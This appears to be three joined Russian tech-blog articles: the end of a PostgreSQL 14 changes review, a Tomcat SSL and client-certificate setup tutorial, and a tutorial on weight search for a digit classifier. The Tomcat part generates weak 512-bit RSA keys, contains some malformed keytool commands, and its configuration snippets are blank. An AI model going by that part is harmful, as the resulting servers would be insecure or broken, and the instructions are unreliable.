BEGIN;
CREATE TABLE bookings_copy (LIKE bookings) WITH (autovacuum_enabled=off);
COPY bookings_copy FROM '/home/pluzanov/pg13/bookings.txt' WITH FREEZE;
COMMIT;
```
Для чистоты эксперимента выполним контрольную точку и сбросим статистику:
```
CHECKPOINT;
SELECT pg_stat_reset_shared('bgwriter');
```
Теперь вызовем очистку:
```
VACUUM VERBOSE bookings_copy;
```
```
INFO: vacuuming "bookings.bookings_copy"
INFO: "bookings_copy": found 0 removable, 2111110 nonremovable row versions in 13447 out of 13447 pages
DETAIL: 0 dead row versions cannot be removed yet, oldest xmin: 1197
There were 0 unused item identifiers.
Skipped 0 pages due to buffer pins, 0 frozen pages.
0 pages are entirely empty.
CPU: user: 0.49 s, system: 0.26 s, elapsed: 5.01 s.
```
Судя по отчету, очистке нечего было делать во всех 13447 страницах таблицы. Но почему потребовалось столько времени?
Еще раз выполним контрольную точку и посмотрим сколько буферов было записано с момента сброса статистики (а в системе никаких других активностей нет):
```
CHECKPOINT;
SELECT buffers_checkpoint + buffers_clean + buffers_backend
FROM pg_stat_bgwriter;
```
```
?column?
----------
13460
```
Вот это номер! Есть стойкое ощущение, что очистка переписала все страницы таблицы, в которой ей как бы нечего делать.
И это соответствует действительности. В реализации COPY WITH FREEZE были упущены важнейшие моменты:
* Каждая страница данных в своем заголовке имеет признак полной видимости всех строк на этой странице. И этот признак не проставлялся, хотя все строки загружаются замороженными, а значит видимыми всем. А это в свою очередь значит, что последующая очистка будет вынуждена проставлять этот признак в каждой загруженной странице.
* Не обновлялась карта видимости. Это опять же придется делать последующей очистке. Конечно, карта видимости сильно меньше в размерах чем собственно данные, но от недостоверной информации могут пострадать запросы, использующие доступ к таблице только по индексу.
Теперь ошибки в реализации исправлены, и в 14 версии COPY честнее замораживает строки.
Столь важное изменение было незаслуженно пропущено в предыдущей статье серии, ведь патч приняли еще в январском коммитфесте.
**[COPY FROM: оптимизация перекодировки символов](https://commitfest.postgresql.org/32/2880/)**
commit: [f82de5c4](https://github.com/postgres/postgres/commit/f82de5c4)
Загрузку данных через COPY FROM можно немного ускорить, если конвертировать входные строки в кодировку сервера не построчно, а более крупными частями. Что и было сделано.
Данная работа является одним из пререквизитов для последующей работы: выполнения COPY FROM в параллельном режиме.
**[Параметр ssl\_crl\_dir ― каталог со списком отзыва сертификатов (CRL, Certificate Revocation List) для SSL-сервера](https://commitfest.postgresql.org/32/2709/)**
commit: [f5465fad](https://github.com/postgres/postgres/commit/f5465fad)
Раньше файл со списком отзыва сертификатов задавался конфигурационным параметром *ssl\_crl\_file* или в параметре *sslcrl* строки подключения libpq. Теперь, в дополнение к этому способу, можно указать еще и специально подготовленный каталог с файлами в конфигурационном параметре *ssl\_crl\_dir* или в параметре *sslcrldir* строки подключения.
**[pg\_upgrade: проверка версии утилит нового сервера](https://commitfest.postgresql.org/32/3003/)**
commit: [f06b1c59](https://github.com/postgres/postgres/commit/f06b1c59)
При запуске pg\_upgrade проверяет, что версия самой утилиты pg\_upgrade совпадает с версией нового сервера. Для этого версия pg\_upgrade сверялась с версией pg\_ctl. Проверку расширили и стали проверять не только версию pg\_ctl, но и остальных исполняемых файлов, задействованных в обновлении: initdb, pg\_dump, pg\_dumpall, pg\_restore, psql, vacuumdb, pg\_controldata, postgres.
**[Семантика и производительность обратных ссылок в регулярных выражениях](https://commitfest.postgresql.org/32/3021/)**
commit: [4aea704a](https://github.com/postgres/postgres/commit/4aea704a), [0c3405cf](https://github.com/postgres/postgres/commit/0c3405cf)
Изменение поведения Том Лейн показывает на таком примере:
```
SELECT regexp_match('foof', '(^f)o*\1');
```
В 13 версии запрос не найдет соответствия. В качестве обратной ссылки \1 используется фрагмент (^f), вместе с ограничивающим символом ^, который не может быть найден в конце строки.
Однако в POSIX ограничивающие символы не должны учитыватся в обратных ссылках, и в 14 версии запрос найдет вторую f:
```
SELECT regexp_match('foof', '(^f)o*\1');
```
```
regexp_match
--------------
{f}
```
А заодно (второй коммит) и производительность поиска улучшили.
**[Оптимизация работы регулярных выражений](https://commitfest.postgresql.org/32/2984/)**
commit: [08c0d6ad](https://github.com/postgres/postgres/commit/08c0d6ad), [824bf719](https://github.com/postgres/postgres/commit/824bf719), [cebc1d34](https://github.com/postgres/postgres/commit/cebc1d34), [58104308](https://github.com/postgres/postgres/commit/58104308), [ea1268f6](https://github.com/postgres/postgres/commit/ea1268f6), [2a0af7fe](https://github.com/postgres/postgres/commit/2a0af7fe), [0fc1af17](https://github.com/postgres/postgres/commit/0fc1af17), [4604f83f](https://github.com/postgres/postgres/commit/4604f83f)
Том Лейн не ограничился предыдущим патчем и решил оптимизировать механизм регулярных выражений. Работа вылилась в большую серию патчей.
**[Отмена долгого запроса при потере соединения с клиентом](https://commitfest.postgresql.org/32/3024/)**
commit: [c30f54ad](https://github.com/postgres/postgres/commit/c30f54ad)
UPD: патч добавлен 17.04. Спасибо Максиму Милютину.
Если серверный процесс в ходе выполнения очень долгого запроса обнаружит, что связь с клиентом оборвана и возвращать результат некому, то он может прекратить выполнение, чтобы не тратить ресурсы сервера.
По умолчанию возможность отключена, для управления используется новый параметр конфигурации *client\_connection\_check\_interval*.
Параметр пока будет работать только в операционных системах, которые поддерживают нестандартное расширение POLLRDHUP системного вызова poll, в частности на linux.
---
На этом всё. Выход PostgreSQL 14 ожидается осенью, ну а в июле начнется прием патчей в 15 версию. Ждем с нетерпением! | https://habr.com/ru/post/550632/ | null | ru | null |
# Настройка SSL для TomCat
Пару недель назад столкнулся с проблемой — стоит TomCat на сервере(windows 2008), ставлен не мной, мало того, я даже не видел как его ставили. Нужно сделать авторизацию по SSL протоколу. Раньше никогда не настраивал веб-сервера ни на винде ни на никсах, а решать нужно в кратчайшие сроки — 3 дня. Решил спросить у гугла с яндексом и нашел куче статей как сделать SSL шифрование канала и одну малопонятную о «двухфазной авторизации». Мучался все 3 дня и на исходе срока получил решение (как всегда светлая идея пришла с великого бодуна). Теперь подробнее:
как устанавливать TomCat описывать не буду, т.к. таких статей валом.
**Для начала создаём хранилище (keystore) с ключом:**
Наберем в коммандной строке следующий код:
```
>keytool -genkey -alias tomcat -keyalg RSA -keystore mystore -validity 999 -keysize 512
```
Здесь:
— tomcat — имя псевдонима
— keyalg — алгоритм формирования ключа
— keystore — имя хранилища
— validity – Срок действия сертификата
— keysize – Размер ключа
В результате на консоле увидите следующее:
Enter keystore password: **mystorepassword**
What is your first and last name?
[Unknown]: **firstname lastname**
What is the name of your organizational unit?
[Unknown]: **organizationalunit**
What is the name of your organization?
[Unknown]: **organization**
What is the name of your City or Locality?
[Unknown]: **city**
What is the name of your State or Province?
[Unknown]: **state**
What is the two-letter country code for this unit?
[Unknown]: **ru**
Is CN=firstname lastname, OU=organizationalunit, O=organization, L=city, ST=state, C=ru correct?
[no]: **yes**
Enter key password for (RETURN if same as keystore password):
То что выделено жирным — вводиться вручную, запросы появляются построчно.
Обратите внимание на то, что для ключа пароль не был введён (в этом случае используется пароль хранилища).
**Конфигурируем SSL-коннектор** (фрагмент **server.xml**):
Находим запись
```
```
и ниже нее добавляем
```
```
Находим строку:
```
```
— по умолчанию 27 строка, закомментируем её.
Так же, если у вас есть вот такая строка:
```
```
тоже её комментируем.
Теперь кидаем файл **mystore** из папки с явой в корень томката, если кинуть не в корень то нужно изменить строку
```
keystoreFile="mystore"
```
на
```
keystoreFile="/ваш путь/mystore"
```
Строка
```
keystorePass="mystorepassword"
```
— «mystorepassword», это ваш пароль указанный при создании хранилища с ключем.
Запускаем Tomcat, SSL- шифрование уже работает.
**«Двухфазный» SSL — авторизация на сайте по сертификату**
Механизм проверки очень прост: необходимо, чтобы у сервера нашелся ключ, subject distinguished name которого будет совпадать с issuer distinguished name проверяемого ключа (при этом клиент не обязательно должен обладать таким ключом, т. к. можно в диалоговом режиме подтвердить доверие). Когда используются ключи, выданные центром сертификации, у нас уже есть публичный ключ центра и свой, подписанный этим центром. В случае с самоподписанным ключом (именно такие ключи по создаёт keytool) необходимо, чтобы публичный ключ используемый клиентом, был в truststore сервера.
Ключ сервера мы генерировали выше, теперь сделаем ключ клиента
Наберем в консоли следующую команду
```
keytool -genkey -alias client -keyalg RSA -keystore myclientstore -storetype PKCS12 -validity 999 -keysize 512
```
на консоли появится следующее:
Enter keystore password: **myclientstorepassword**
What is your first and last name?
[Unknown]: **client**
What is the name of your organizational unit?
[Unknown]: **orgunit**
What is the name of your organization?
[Unknown]: **org**
What is the name of your City or Locality?
[Unknown]: **locality**
What is the name of your State or Province?
[Unknown]: **state**
What is the two-letter country code for this unit?
[Unknown]: **RU**
Is CN=client, OU=orgunit, O=org, L=locality, ST=state, C=RU correct?
[no]: **yes**
Enter key password for (RETURN if same as keystore password):
все по аналогии с генерацией ключа сервера, появился только параметр
```
-storetype
```
. Этот параметр указывает тип хранилища поддерживаемое нашим браузером, если не знаете точно какой тип у вас — не меняйте, этот подходит для всех (проверено электроникой!!!)
```
-keystore
```
— здесь это уже хранилище сертификатов клиентов.
Следующий этап — помещаем публичный ключ в доверенное хранилище( truststore) сервера. Для этого экспортируем его из полученного хранилища(myclientstore) в файл clientcert:
Введем в консоли следующую комманду:
```
keytool -export -alias client -keyalg RSA -keystore myclientstore -storetype PKCS12 -file clientcert
```
в ответ увидим:
Enter keystore password: **myclientstorepassword**
Certificate stored in file " clientcert "
Здесь вопрос «Enter keystore password: » просит не новый пароль, а тот, который мы ввели при формировании «myclientstore»
Тут думаю все уже понятно, т.к. всепараметры рассмотрены выше. А результат — файл clientcert.
Полученный файл импортируем в новое хранилище для сервера (это и будет truststore):
Введем в консоли комманду
```
keytool -import -alias client -keyalg RSA -keystore mytruststore -storetype JKS -file clientcert
```
Нас спросят
Enter keystore password: **mytruststorepassword**
если ответили правильно то увидим
Owner: CN=client, OU=orgunit, O=org, L=locality, ST=state, C=RU
Issuer: CN=client, OU=orgunit, O=org, L=locality, ST=state, C=RU
Serial number: 462a2361
Valid from: Sat Apr 21 18:44:49 MSD 2007 until: Fri Jul 20 18:44:49 MSD 2007
Certificate fingerprints:
MD5: 78:55:83:13:3A:4F:DB:CA:1A:60:5E:A4:87:1D:EC:93
SHA1: 7A:A7:7C:C6:71:2B:82:74:9C:4F:C7:3D:FA:14:AD:2A:E5:BF:39:2F
последний вопрос
Trust this certificate? [no]: **yes**
а в ответ
Certificate was added to keystore
Здесь вопрос «Enter keystore password: » просит не новый пароль, а тот, который мы ввели при формировании «mytruststore»
Ну вот, все сертификаты сформированы и помещены в доверенные хранилища.
Теперь надо сказать серверу что их нужно использовать, дополняем конфигурацию сервера. Теперь конфигурация SSL-коннектора выглядит так:
```
```
Пути до mytruststore,mystore как и было уже сказано можно менять, не забудьте заодно поменять и значения паролей :-)
Если в trustedstore нужно добавить сторонний сертификат используйте следующий код:
```
keytool -import -mytruststore -keystore mystore -alias tomcat -file clientcert
```
Если в trustedstore нужно удалить сертификат используйте следующий код:
```
keytool -delete -mytruststore -keystore mystore -alias tomcat -file clientcert
```
Копируем файлы mytruststore и mystore в корень томката или в папки указаные в параметрах коннектора (keystoreFile и truststoreFile) ели вы их изменили.
Импортируем myclientstore в используемый браузер в сертификаты. Т.е. на примере IE:
Сервис-> Свойства обозревателя->Содержание->Сертификаты->Импорт->Далее->Обзор->Все файлы->Находим папку с явой (по умолчанию там сохраняются новые генерированные файлы), выбираем наш myclientstore, -> Далее-> вводим пароль который мы задавали при генерации myclientstore и все!
Перезапускаем сервер.
Сейчас если набрать https :// localhost:8443 — сервер потребует сертификат, но если набрать
http ://localhost:8080 откроется та же страница, что и в первом случае, но без всякой защиты. Для того чтобы все запросы перенаправлялись с http на https в **web.xml** добавляем
до закрытия web-app:
```
Protected Context
/\*
CONFIDENTIAL
```
Перезапускаем сервер, вуаля – все работает!
Надеюсь эта статья будет более понятна чем остальные, т.к. тут я собрал все крупицы знаний найденных в интернете и опыт полученный мною в момент жесткого занятия любовью с SSL и TomCat. | https://habr.com/ru/post/134453/ | null | ru | null |
# Автоматический подбор синаптических весов. Самое начало. Циклический перебор
В одной из предыдущих статей ([Синаптические веса в нейронных сетях – просто и доступно](https://habr.com/ru/post/589893/)) мы разбирались со смыслом синаптических весов на примере определения цифры на 13-ти сегментном индикаторе и подбирали веса "вручную", путем логических рассуждений.
С этой статьи приступаем к автоматическому подбору и рассматриваем один из наиболее простых способов – циклический перебор.
В статье на конкретном примере поясняются некоторые термины машинного обучения (Логистическая функция, Softmax, One-Hot-Encoding, Квадратическая ошибка), представлены фрагменты кода и результаты в виде графиков и подобранных параметров.
Предыдущие статьи:
[Синаптические веса в нейронных сетях – просто и доступно. Часть 1.](https://habr.com/ru/post/589893/)
[Синаптические веса в нейронных сетях – просто и доступно. Часть 2.](https://habr.com/ru/post/684978/)
Программа в блокноте python:
[Indicator13 - Google Colab Resarch Note](https://colab.research.google.com/drive/1wa3ha23-sX7tupHIntVG0hPXcaqJ-nR3#scrollTo=IEh3IEyC4Xiq)
Доступно для сохранения и экспериментов.
---
Напомним, что имеем дело с задачей классификации.
Задача тестово-учебная: горят сегменты на 13-ти сегментном индикаторе (как на почтовом конверте), нужно определить цифру.
Если сегмент горит, то его значение равно 1, а если не горит, то 0.
Таблица коэффициентов состоит из 10 строк и 13 столбцов.
Строки соответствуют цифрам от 0 до 9, столбцы – номерам сегментов индикатора.
В предыдущих статьях описано, как коэффициенты подбирались "вручную" - таким образом, чтобы при построчном суммировании перемножений коэффициентов и значений сегментов максимальная сумма была бы в строке, соответствующей горящей цифре.
Другими словами, при умножении коэффициентов на значения соответствующих сегментов и последующем сложении получающихся значений построчно сравниваются суммы в строках - в какой строке сумма максимальна, та цифра и горит.

---
Переходим к автоматическому подбору
Начальная позиция
-----------------
Подбор коэффициентов начинается с выбора начальных позиций.
Теоретически, можно начинать с того, что все коэффициенты равны 1, или все коэффициенты равны 0. В ряде случаев даже возможно все коэффициенты задать случайным образом. На данном этапе для данной задачи выбор начальной позиции не принципиален. Пусть все коэффициенты равны 0.
Простой и логично понятный перебор
----------------------------------
Общий алгоритм перебора коэффициентов можно описать тремя словами:
корректируем / суммируем / сравниваем.
Чуть подробнее1. Устанавливаем начальную позицию, считаем суммы.
2. Корректируем первый коэффициент, считаем суммы.
3. Корректируем следующий коэффициент, считаем суммы.
4. Повторяем п.3, то есть последовательно корректируем все коэффициенты, каждый раз считаем суммы, пока не дойдем до последнего коэффициента таблицы.
5. После последнего коэффициента таблица переходим на п.2, то есть начинаем сначала – корректируем первый коэффициент, считаем суммы и заново по кругу…
Возникают вопросы:
1. как понимать, что корректируем в нужную сторону
2. когда заканчивать
В общем случае, задача подбора коэффициентов сводится к задаче оптимизации, то есть когда нужно что-либо минимизировать или максимизировать.
Обычно максимизируют точность (правдоподобие), минимизируют ошибку.
Если ошибка уменьшается, то это значит, что коррекции идут в правильном направлении.
Когда показатели ошибки и точности достигают заданных величин - цель достигнута.
Тут нам понадобятся логистическая функция, Softmax и One-Hot-Encoding.
Логистическая функция
---------------------
График логистической функции похож на букву S и ограничен по вертикали 0 и 1.
Логистическая функция удобна тем, что все значения после обработки попадают в интервал от 0 до 1, но сравнительное соотношение не меняется, то есть чем больше аргумент, тем больше значение функции. При этом чем больше аргумент, тем значение функции ближе к 1, а чем меньше аргумент, тем значение функции ближе к нулю. Все значения после обработки как бы загоняются в единый интервал, в котором удобно сравнивать. Сравниваются уже не десятки с сотнями или тысячами, а значения между 0 и 1.
Softmax
-------
Теперь подберем функцию таким образом, чтобы сумма значений, которые уже находятся между 0 и 1 и которые мы сравниваем, стала бы равняться 1.
Такая функция была подобрана и получила название Softmax.
Softmax – очень распространенная функция для решения задач классификации, является как бы смысловым обобщением логистической функции.
Формально Softmax представляет собой отношение индекса текущего элемента к сумме индексов всех элементов (в другой формулировке - нормализует значения в вектор, следующий распределению вероятности). В определенной трактовке, Softmax преобразует значения в относительные вероятности, которые легче понимать и сравнивать. То есть так как все значения находятся между 0 и 1 и при этом сумма значений равна 1, то мы можем трактовать значения как вероятности.
Можно трактовать так: вероятность того, что мы имеем дело с первым классом, составляет 46%, со вторым классом – 34%, а с третьим – 20%. Видно, что чем больше аргумент, то тем больше вероятность.
Если раньше мы сравнивали просто числа, то теперь мы сравниваем вероятности. Поначалу это кажется необычным, а по мере привыкания становится даже очень простым.
Вернемся к таблице.
Посчитаем построчно суммы для какой-нибудь цифры с учетом текущих коэффициентов и затем преобразуем значения сумм в каждой строке через Softmax.
Если раньше сравнивали непосредственно значения, например, 8.4 (цифра 3) и 13.3 (цифра 7) и искали максимальное, то теперь сравниваем 0.0073 (цифра 3) и 0.9836 (цифра 7). И также ищем максимальное, логика не поменялась, но теперь несколько иначе трактуем. Теперь говорим, что вероятность того, что это цифра 3 – 0,73%, а вероятность того, что это цифра 7 – 98,36%, и выбираем цифру по максимальной вероятности.
Отметим, что на этапе подбора коэффициентов мы знаем правильный ответ. Нам остается только сравнить мнение модели с правильным ответом, а для этого привести мнение модели и правильный ответ к единому формату. В этом нам и поможет One-Hot-Encoding.
One-Hot-Encoding
----------------
Обычно мы воспринимаем цифры как 0, 1, 2, 3, 4, 5, 6, 7, 8, 9.
Видоизменим их в массив длиной 10 (или 10-мерный вектор), состоящий из 0 и 1 так, чтобы индекс, имеющий значение 1, соответствовал цифре в привычном понимании.
0: Y = [1,0,0,0,0,0,0,0,0,0]
1: Y = [0,1,0,0,0,0,0,0,0,0]
2: Y = [0,0,1,0,0,0,0,0,0,0]
3: Y = [0,0,0,1,0,0,0,0,0,0]
4: Y = [0,0,0,0,1,0,0,0,0,0]
5: Y = [0,0,0,0,0,1,0,0,0,0]
6: Y = [0,0,0,0,0,0,1,0,0,0]
7: Y = [0,0,0,0,0,0,0,1,0,0]
8: Y = [0,0,0,0,0,0,0,0,1,0]
9: Y = [0,0,0,0,0,0,0,0,0,1]
Если мы возьмем, например, цифру 7 в таком коде, то в терминах предыдущего параграфа мы можем трактовать так: «Это цифра 7 с вероятностью 100%».
Теперь у нас есть два массива одинакового формата или два вектора одинаковой размерности - распределение вероятности и правильный ответ, и в таком случае возможно их сравнить и посчитать, насколько модель «ошиблась».
Под ошибкой будем понимать разницу между фактическим выходным значением и правильным ответом. Прогноз модели, что вероятность цифры 3 равна 0.0073, означает, что ошибка равна 0.0073. Предположение, что вероятность цифры 7 равна 0.9836 означает, что ошибка равна -0.0164.
Общая квадратическая ошибка
---------------------------
Общая квадратическая ошибка – сумма квадратов ошибок для каждой цифры в каждой строке. Эту общую квадратическую ошибку и будем минимизировать.
Формулы подробнееОшибка в каждой строке: *D = Softmax(Sum) - Y*
Для каждой цифры *f* и строки *i*:
Ошибки могут иметь разные знаки, поэтому работаем с квадратами ошибок.
Суммируем квадраты ошибок для каждой цифры по каждой строке
и затем суммируем получившиеся суммы квадратов ошибок по каждой цифре.
Таким образом получаем общую квадратическую ошибку модели при данном наборе коэффициентов.
Необходимо отметить, что часто величину ошибки усредняют, то есть делят на количество элементов, но так как количество элементов в данном случае величина постоянная, то на процесс оптимизации это никак не влияет. То есть можно использовать как общую квадратическую ошибку, так и среднюю.
Примечание:
Также для обозначения функции ошибки применяются следующие термины:
функция оценки, функция потерь, эмпирический риск.
---
Минимизация ошибки
------------------
Перейдем к перебору и минимизации ошибки
1. Зададим начальные веса, все равны 0:
```
K_array = np.zeros([10, 13])
```
2. Зададим матрицу значений сегментов индикаторов:
```
X = np.array([
[1,1,1,1,1,1,0,1,1,1,1,1,1],
[0,0,1,0,1,0,0,1,0,1,0,0,1],
[1,1,1,0,1,1,1,1,1,0,1,1,1],
[1,1,1,0,1,1,1,1,0,1,1,1,1],
[1,0,1,1,1,1,1,1,0,1,0,0,1],
[1,1,1,1,0,1,1,1,0,1,1,1,1],
[1,1,1,1,0,1,1,1,1,1,1,1,1],
[1,1,1,0,1,0,0,1,0,1,0,0,1],
[1,1,1,1,1,1,1,1,1,1,1,1,1],
[1,1,1,1,1,1,1,1,0,1,1,1,1]
])
```
3. Зададим массив правильных ответов:
```
Y = [0,1,2,3,4,5,6,7,8,9]
```
4. Преобразуем правильные ответы в нужный формат (One-Hot-Encoding):
```
#One-Hot_Encoding
Y_cat = np.zeros([10, 10])
for k in range(10): Y_cat[k][k]=1
# В Pythor есть специальная функция. Результат Идентичный.
# import tensorflow.keras
# Y_cat = tensorflow.keras.utils.to_categorical(Y, 10)
```
5. Зададим функцию Softmax:
```
def softmax(scores):
softmax = np.exp(scores) / np.sum(np.exp(scores))
return softmax
# В Pythor есть специальная функция. Результат Идентичный.
# from scipy.special import softmax
```
6. Зададим функцию подсчета общей квадратической ошибки:
```
def E():
array = np.zeros(10)
Ef = np.zeros(10)
Esum = 0
for n in range(10):
for i in range(10):
array[i] = np.dot(X[n].T, K_array[i]) # умножаем вектор X на коэффиценты в строке
array_soft = softmax(array) # преобразуем через softmax
for k in range (10):
Ef[n] += (array_soft[k]-Y_cat[n][k])**2 # суммируем квадраты ошибок в строкам
Esum += Ef[n] # суммируем квадратические ошибки по каждой цифре
return Esum
```
7. Зададим функцию коррекции коэффициента:
```
def choice():
this_array = np.zeros(3)
this_array[0] = E()
K_array[n][k] = np.round(K_array[n][k] + lmd,2)
this_array[1] = E()
K_array[n][k] = np.round(K_array[n][k] - 2*lmd,2)
this_array[2] = E()
min = np.argmin(this_array)
if min == 0: K_array[n][k] = np.round(K_array[n][k] + lmd,2)
if min == 1: K_array[n][k] = np.round(K_array[n][k] + 2*lmd,2)
return this_array
```
Здесь нужно отдельно пояснить.
Считаем общую квадратическую ошибку для трех вариантов:
* для текущего состояния коэффициента
* если к коэффициенту прибавить шаг lmd
* если у коэффициента вычесть шаг lmd
При каком варианте общая квадратическая ошибка минимальна, такой коэффициент и устанавливаем.
8. Зададим функция подсчета точности:
```
def correct_count():
correct = 0
for n in range(10):
array = np.zeros(10)
for k in range(10):
array[k] = np.dot(X[n].T, K_array[k]) # перемножение по каждой цифре
array_soft = softmax(array)
if np.argmax(array_soft) == Y[n]:
correct += 1
return correct/10
```
9. Зададим шаг изменения и количество полных проходов таблицы
```
lmd = 0.1
epochs = 10
```
10. И запускаем цикл перебора коэффициентов
```
for N_epochs in range(epochs):
for n in range(10):
for k in range(13):
choice() # изменяем коэффициенты
# если нужно сохранять или выводить показатели
# loss = E()
# accuracy = correct_count()
```
Результат
---------
На выходе получаем массив коэффициентов:
```
[[ 0.2 0.6 -0.9 1. 1. -0.4 -1. -0.4 1. 0.5 0.6 0.4 -0.9]
[-1. -1. 1. -1. 1. -1. -1. 0.6 -1. 0.5 -1. -1. 0.5]
[ 0.6 0.5 -0.6 -1. 1. 0.2 1. -1. 1. -1. 0.6 0.3 -0.6]
[ 0.1 0.9 -0.9 -1. 1. 0.7 0.9 -1. -1. 1. 0.6 0.4 -1. ]
[ 0.8 -1. 0.3 1. 0.6 0.6 0.8 -1. -1. -0.2 -1. -1. 0.5]
[ 0.2 0.6 -0.6 1. -1. 0.5 0.7 -0.9 -1. 0.9 0.6 0.3 -0.7]
[ 0.1 0.7 -0.7 1. -1. 0.2 1. -0.8 1. 0.3 0.2 0.2 -0.6]
[ 1. 1. -0.3 -1. 0.8 -1. -1. 0.4 -1. 0.5 -1. -1. 0.2]
[-0.6 0.8 -0.9 1. 1. -0.3 1. -1. 1. 0.7 0.3 0.2 -0.9]
[-0.6 0.7 -0.9 1. 1. 0. 0.9 -1. -1. 0.8 0.7 0.6 -0.8]]
```
Можно посмотреть, как менялись величины точности и ошибки по мере прохождения перебора.
Начальная ошибка: 9.000000000000002
Начальная точность: 0.1
0: loss: 8.256888108456812 accuracy: 0.8
1: loss: 7.4035437200249845 accuracy: 0.8
2: loss: 6.515313270760133 accuracy: 0.8
3: loss: 5.655615573184693 accuracy: 0.8
4: loss: 4.889748309748125 accuracy: 0.9
5: loss: 4.243067834925036 accuracy: 0.9
6: loss: 3.6863744601447674 accuracy: 1.0
7: loss: 3.1957574183834616 accuracy: 1.0
8: loss: 2.7718738867787973 accuracy: 1.0
9: loss: 2.4043407365354073 accuracy: 1.0
Конечная ошибка: 2.4043407365354073
Конечная точность: 1.0
Видим, что с каждым проходом ошибка уменьшается, а точность растет.
Необходимо отметить, что даже если при изменении каждого коэффициента ошибка уменьшается, то точность не всегда растет. Встречаются случаи, когда ошибка уменьшилась, а точность тоже уменьшилась.
Если вывести на график величины точности при изменении каждого коэффициента, то видно, что точность иногда колеблется, но в целом постепенно движется вверх.
Важно понимать, что точность увеличивается как бы косвенно по мере уменьшения ошибки, поэтому недостаточно замерять только величину ошибки, надо смотреть именно на точность, то есть на тот показатель, который нам важен в конечном итоге.
Проверка, что все цифры определяются правильноПринудительная проверка, что все цифры определяются правильно.
```
# посмотрим результат
correct = 0
for n in range(10):
array = np.zeros(10)
for k in range(10):
array[k] = np.dot(X[n].T, K_array[k]) # перемножение по каждой цифре
array_soft = softmax(array)
if np.argmax(array_soft) == Y[n]: # сравниваем полученное и ожидаемое
correct += 1
print(array_soft)
print('Индекс:', np.argmax(array_soft))
print('Ожидаемая цифра:', Y[n])
print()
print('Точность:', correct/10)
```
[9.93284557e-01 3.84798202e-21 4.11213620e-08 5.56517117e-09 9.29478238e-14 5.56517117e-09 1.65895415e-05 6.26277511e-16 6.69269870e-03 6.10295124e-06]
Индекс: 0
Ожидаемая цифра: 0
[5.60279149e-09 9.99999117e-01 9.35761471e-14 2.06115180e-09 8.31527985e-07 1.26641544e-14 1.71390692e-15 4.13993406e-08 1.02618706e-10 2.06115180e-09]
Индекс: 1
Ожидаемая цифра: 1
[8.31422839e-07 5.24221807e-22 9.99872668e-01 8.31422839e-07 6.30431392e-16 3.77465385e-11 2.26004159e-06 1.15467537e-17 1.23394090e-04 1.52280405e-08]
Индекс: 2
Ожидаемая цифра: 2
[3.03734831e-07 4.21825229e-18 1.65833599e-05 9.92914440e-01 1.01891685e-10 4.50782458e-05 3.03734831e-07 5.07288827e-12 3.33085687e-04 6.69020487e-03]
Индекс: 3
Ожидаемая цифра: 3
[1.02617070e-10 4.65880777e-15 1.26639525e-14 2.06111895e-09 9.99983178e-01 5.60270219e-09 1.02617070e-10 4.65880777e-15 1.12533282e-07 1.67014198e-05]
Индекс: 4
Ожидаемая цифра: 4
[3.01734769e-07 2.34783814e-26 1.36987373e-11 3.01734769e-07 1.01220739e-10 9.86376203e-01 6.64615058e-03 3.09636588e-17 3.30892353e-04 6.64615058e-03]
Индекс: 5
Ожидаемая цифра: 5
[4.50789195e-05 1.59247079e-28 2.04657978e-09 1.01893207e-10 3.41813631e-14 3.33090665e-04 9.92929279e-01 1.04561583e-20 6.69030486e-03 2.24434725e-06]
Индекс: 6
Ожидаемая цифра: 6
[1.52299775e-08 5.60279562e-09 1.87952854e-12 4.13993712e-08 4.13993712e-08 6.91439910e-13 4.65888547e-15 9.99999855e-01 2.78946769e-10 4.13993712e-08]
Индекс: 7
Ожидаемая цифра: 7
[6.63207336e-03 6.98398269e-23 6.04766809e-06 8.18462874e-07 1.36697220e-11 2.22481276e-06 6.63207336e-03 4.18159969e-18 9.84286959e-01 2.43980344e-03]
Индекс: 8
Ожидаемая цифра: 8
[6.09546333e-06 1.41385664e-21 5.55834308e-09 3.32801021e-04 5.55834308e-09 9.04646969e-04 6.09546333e-06 1.70031005e-15 6.68448720e-03 9.92065863e-01]
Индекс: 9
Ожидаемая цифра: 9
Точность: 1.0
Видим, что модель абсолютно корректно определяет цифры при заданном наборе сегментов.
Дополнение
----------
Следует отметить, что первоначально шаг lmd=0.1 и количество проходов epochs=10 мы взяли наугад, как наиболее часто встречающиеся. И в данном случае 10 проходов хватило, чтобы достичь точности определения в 100%.
Если мы возьмем 50 проходов, то видим, что величина ошибки будет продолжать понижаться, хотя точность уже повышаться не будет, так как некуда.
Для сравнительной демонстрации возьмем 10 проходов с шагом 1.
Видим, что ошибка уменьшается быстрее и точность растет быстрее, чем при шаге 0.1.
Уже после 2 проходов по таблице точность 100%.
И получили совсем другие коэффициенты:
```
[[ 0. 0. 0. 1. 0. -1. -10. 4. 3. 0. 0. 0. 0.]
[-10. -10. 10. -10. 8. -10. -9. 5. -7. 0. -8. -8. 0.]
[ 2. 0. 0. -10. 3. 0. 0. 0. 3. -10. 2. 0. 0.]
[ 2. 0. 0. -10. 4. 2. 0. -2. -10. 2. 1. 0. -1.]
[ 6. -10. 4. 2. 1. 0. 0. 0. -10. 0. -10. -10. 4.]
[ 2. 1. 0. 1. -10. 3. 1. -1. -10. 2. 0. 0. 0.]
[ 0. 0. 0. 1. -10. 3. 1. 0. 3. -1. 0. 0. 0.]
[ 8. 8. -2. -10. 1. -10. -10. 4. -10. 1. -10. -10. 2.]
[ 0. 0. 0. 1. 0. 0. 0. 0. 1. 0. 0. 0. 0.]
[ 2. 0. 0. 3. 2. -3. 1. 0. -10. 1. 0. 0. 0.]]
```
Видим, что модель самостоятельно поставила большой отрицательный коэффициент (-10) похожим образом, где мы также закладывали большой минус (-100).
---
Итак, модель абсолютно корректно определяет цифры при заданном наборе сегментов.
Отметим, что здесь мы только начинали прицеливаться и брали шаг изменения и количество переборов практически наугад, примерно. При дальнейших улучшениях в программу целесообразно добавить параметры прекращения перебора. Например, чтобы программа прекращала перебор при достижении заданной величины точности или заданной величины ошибки. Также разумно добавить условие, что если ошибка не уменьшается или точность не растет заданное количество переходов, то увеличивать или уменьшать шаг изменения.
Важно, что, сейчас у нас была простая задача - мало параметров.
В действительных проектах параметров сильно больше, и простой перебор будет осуществляться очень долго. Для ускорения вычислений и переходов применяются различные оптимизирующие алгоритмы, но уже на этом примере видно, как в принципе обучается модель.
---
Предыдущие статьи:
[Синаптические веса в нейронных сетях – просто и доступно. Часть 1.](https://habr.com/ru/post/589893/)
[Синаптические веса в нейронных сетях – просто и доступно. Часть 2.](https://habr.com/ru/post/684978/)
